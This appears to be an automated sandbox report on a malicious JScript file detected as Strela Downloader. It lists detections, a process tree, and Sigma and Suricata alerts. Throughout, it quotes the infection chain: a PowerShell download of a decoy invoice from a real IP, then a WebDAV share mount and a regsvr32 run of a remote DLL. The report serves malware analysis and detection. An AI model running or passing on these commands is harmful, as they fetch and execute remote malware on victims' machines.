Edit tour

Windows Analysis Report
1601021956623126375.js

Overview

General Information

Sample name:	1601021956623126375.js
Analysis ID:	1588570
MD5:	2ab1af522c259f514a997f14fc08872f
SHA1:	a13f6cb7e58eb9fde1baa0f89ed229d6db184f84
SHA256:	cf3d790a153df82fcd594ead0c6c5a0e7798da44199660889ca25e362b180b6c
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7312 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1601021956623126375.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7404 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7456 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7636 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7852 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8080 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1732,i,16547960719200057932,3100266885485836972,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7652 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7700 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7920 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7312	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7404, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7456, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7404, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7456, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1601021956623126375.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1601021956623126375.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1601021956623126375.js", ProcessId: 7312, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7700, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1601021956623126375.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, ProcessId: 7404, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1601021956623126375.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, ProcessId: 7404, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1601021956623126375.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, ProcessId: 7404, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1601021956623126375.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, ProcessId: 7404, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1601021956623126375.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, ProcessId: 7404, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1601021956623126375.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, ProcessId: 7404, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1601021956623126375.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1601021956623126375.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1601021956623126375.js", ProcessId: 7312, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7404, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7456, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7652, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7700, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7920, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7652, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7700, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1601021956623126375.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll, ProcessId: 7404, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:31:19.724281+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49703	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:31:22.342498+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49704	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:31:19.724281+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49703	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1601021956623126375.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1601021956623126375.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49703 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49704 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:31:19 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 